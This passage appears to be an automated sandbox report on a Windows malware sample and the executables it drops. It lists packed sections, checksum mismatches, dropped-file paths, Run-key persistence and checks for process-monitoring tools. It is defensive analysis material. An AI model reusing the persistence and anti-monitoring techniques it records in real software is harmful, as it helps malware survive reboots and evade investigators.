Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Unpacked PE file: 3.2.R35D5PNQKQVRTA7D.exe.460000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmqydvws:EW;sqmqmqay:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmqydvws:EW;sqmqmqay:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Unpacked PE file: 4.2.LDYMRYSK15TF568PLM3O1A8XS.exe.fe0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yquqvagg:EW;kkcxorqu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yquqvagg:EW;kkcxorqu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmqydvws:EW;sqmqmqay:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmqydvws:EW;sqmqmqay:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmqydvws:EW;sqmqmqay:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmqydvws:EW;sqmqmqay:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Unpacked PE file: 7.2.1SC0KN6KHBFFEX9LB9FR.exe.3e0000.0.unpack :EW;.rsrc:W;.idata :W;namxoaly:EW;dbejnace:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Unpacked PE file: 13.2.2de90f6e61.exe.f60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yquqvagg:EW;kkcxorqu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yquqvagg:EW;kkcxorqu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Unpacked PE file: 28.2.805c374e44.exe.e0000.0.unpack :EW;.rsrc :W;.idata :W;qpjfxxrc:EW;xsxailus:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;qpjfxxrc:EW;xsxailus:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Unpacked PE file: 33.2.2de90f6e61.exe.f60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yquqvagg:EW;kkcxorqu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yquqvagg:EW;kkcxorqu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Unpacked PE file: 34.2.NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.460000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dmqydvws:EW;sqmqmqay:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dmqydvws:EW;sqmqmqay:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Unpacked PE file: 35.2.DC91U752866P4RTKEWI6.exe.1f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yquqvagg:EW;kkcxorqu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yquqvagg:EW;kkcxorqu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Unpacked PE file: 37.2.3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.7c0000.0.unpack :EW;.rsrc:W;.idata :W;namxoaly:EW;dbejnace:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: real checksum: 0x2a949e should be: 0x29f289
Source: random[1].exe.9.dr	Static PE information: real checksum: 0x2edf70 should be: 0x2eada1
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: real checksum: 0x1e345a should be: 0x1e6640
Source: num.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: real checksum: 0x2a949e should be: 0x29f289
Source: random[1].exe0.9.dr	Static PE information: real checksum: 0x1c92f3 should be: 0x1c5912
Source: 2de90f6e61.exe.9.dr	Static PE information: real checksum: 0x1c92f3 should be: 0x1c5912
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: real checksum: 0x1c92f3 should be: 0x1c5912
Source: file.exe	Static PE information: real checksum: 0x2edf70 should be: 0x2eada1
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: real checksum: 0x1c92f3 should be: 0x1c5912
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1e345a should be: 0x1e6640
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: real checksum: 0x1e345a should be: 0x1e6640
Source: 805c374e44.exe.9.dr	Static PE information: real checksum: 0x2edf70 should be: 0x2eada1
Source: num[1].exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: qpjfxxrc
Source: file.exe	Static PE information: section name: xsxailus
Source: file.exe	Static PE information: section name: .taggant
Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: section name:
Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: section name: .idata
Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: section name: namxoaly
Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: section name: dbejnace
Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: section name: .taggant
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name:
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name: .idata
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name:
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name: dmqydvws
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name: sqmqmqay
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name: .taggant
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name:
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name: .rsrc
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name: .idata
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name:
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name: yquqvagg
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name: kkcxorqu
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: dmqydvws
Source: skotes.exe.3.dr	Static PE information: section name: sqmqmqay
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe.9.dr	Static PE information: section name: .idata
Source: random[1].exe.9.dr	Static PE information: section name: qpjfxxrc
Source: random[1].exe.9.dr	Static PE information: section name: xsxailus
Source: random[1].exe.9.dr	Static PE information: section name: .taggant
Source: 805c374e44.exe.9.dr	Static PE information: section name:
Source: 805c374e44.exe.9.dr	Static PE information: section name: .rsrc
Source: 805c374e44.exe.9.dr	Static PE information: section name: .idata
Source: 805c374e44.exe.9.dr	Static PE information: section name: qpjfxxrc
Source: 805c374e44.exe.9.dr	Static PE information: section name: xsxailus
Source: 805c374e44.exe.9.dr	Static PE information: section name: .taggant
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: random[1].exe0.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.9.dr	Static PE information: section name: .idata
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: random[1].exe0.9.dr	Static PE information: section name: yquqvagg
Source: random[1].exe0.9.dr	Static PE information: section name: kkcxorqu
Source: random[1].exe0.9.dr	Static PE information: section name: .taggant
Source: 2de90f6e61.exe.9.dr	Static PE information: section name:
Source: 2de90f6e61.exe.9.dr	Static PE information: section name: .rsrc
Source: 2de90f6e61.exe.9.dr	Static PE information: section name: .idata
Source: 2de90f6e61.exe.9.dr	Static PE information: section name:
Source: 2de90f6e61.exe.9.dr	Static PE information: section name: yquqvagg
Source: 2de90f6e61.exe.9.dr	Static PE information: section name: kkcxorqu
Source: 2de90f6e61.exe.9.dr	Static PE information: section name: .taggant
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name:
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name: .idata
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name:
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name: dmqydvws
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name: sqmqmqay
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name: .taggant
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name:
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name: .rsrc
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name: .idata
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name:
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name: yquqvagg
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name: kkcxorqu
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name: .taggant
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: section name:
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: section name: .idata
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: section name: namxoaly
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: section name: dbejnace
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC321 push es; retf	0_3_05BCC32D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC321 push es; retf	0_3_05BCC32D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCBA1B push esp; retn 004Ah	0_3_05BCBA32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCBA1B push esp; retn 004Ah	0_3_05BCBA32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCBA75 push esp; retf	0_3_05BCBA7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCBA75 push esp; retf	0_3_05BCBA7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC5F1 push edx; retf	0_3_05BCC5F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC5F1 push edx; retf	0_3_05BCC5F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC0C8 push esi; iretd	0_3_05BCC0E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC0C8 push esi; iretd	0_3_05BCC0E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC321 push es; retf	0_3_05BCC32D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC321 push es; retf	0_3_05BCC32D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCBA1B push esp; retn 004Ah	0_3_05BCBA32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCBA1B push esp; retn 004Ah	0_3_05BCBA32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCBA75 push esp; retf	0_3_05BCBA7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCBA75 push esp; retf	0_3_05BCBA7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC5F1 push edx; retf	0_3_05BCC5F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC5F1 push edx; retf	0_3_05BCC5F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC0C8 push esi; iretd	0_3_05BCC0E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05BCC0C8 push esi; iretd	0_3_05BCC0E2
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_005608EF push esi; mov dword ptr [esp], ecx	7_2_00560979
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_005608EF push 2ADB8690h; mov dword ptr [esp], ebp	7_2_005609CE
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_00560A6F push edx; mov dword ptr [esp], ecx	7_2_00560AD2
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_00560A6F push eax; mov dword ptr [esp], ebx	7_2_00560AF2
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_00560A6F push ebx; mov dword ptr [esp], 7F7E3E66h	7_2_00560B1C
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_00560A6F push ecx; mov dword ptr [esp], edx	7_2_00560B55
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_00560A6F push 0B9B2C96h; mov dword ptr [esp], edx	7_2_00560B78
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_00560A6F push 019B7381h; mov dword ptr [esp], ebp	7_2_00560BE3
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_003F0511 push 44E00DF6h; mov dword ptr [esp], edx	7_2_003F0531
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_003F0511 push 75646328h; mov dword ptr [esp], esp	7_2_003F3648
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Code function: 7_2_003EEDEF push esi; mov dword ptr [esp], ecx	7_2_003EF417

Source: file.exe	Static PE information: section name: entropy: 7.985117311428661
Source: 1SC0KN6KHBFFEX9LB9FR.exe.0.dr	Static PE information: section name: entropy: 7.791771234737373
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name: entropy: 7.9879656787896645
Source: R35D5PNQKQVRTA7D.exe.0.dr	Static PE information: section name: dmqydvws entropy: 7.9528727059128785
Source: LDYMRYSK15TF568PLM3O1A8XS.exe.0.dr	Static PE information: section name: yquqvagg entropy: 7.954688505845053
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.9879656787896645
Source: skotes.exe.3.dr	Static PE information: section name: dmqydvws entropy: 7.9528727059128785
Source: random[1].exe.9.dr	Static PE information: section name: entropy: 7.985117311428661
Source: 805c374e44.exe.9.dr	Static PE information: section name: entropy: 7.985117311428661
Source: random[1].exe0.9.dr	Static PE information: section name: yquqvagg entropy: 7.954688505845053
Source: 2de90f6e61.exe.9.dr	Static PE information: section name: yquqvagg entropy: 7.954688505845053
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name: entropy: 7.9879656787896645
Source: NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe.12.dr	Static PE information: section name: dmqydvws entropy: 7.9528727059128785
Source: DC91U752866P4RTKEWI6.exe.12.dr	Static PE information: section name: yquqvagg entropy: 7.954688505845053
Source: 3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe.12.dr	Static PE information: section name: entropy: 7.791771234737373

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File created: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File created: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File created: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2de90f6e61.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e65c930c15.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 805c374e44.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Window searched: window name: PROCMON_WINDOW_CLASS
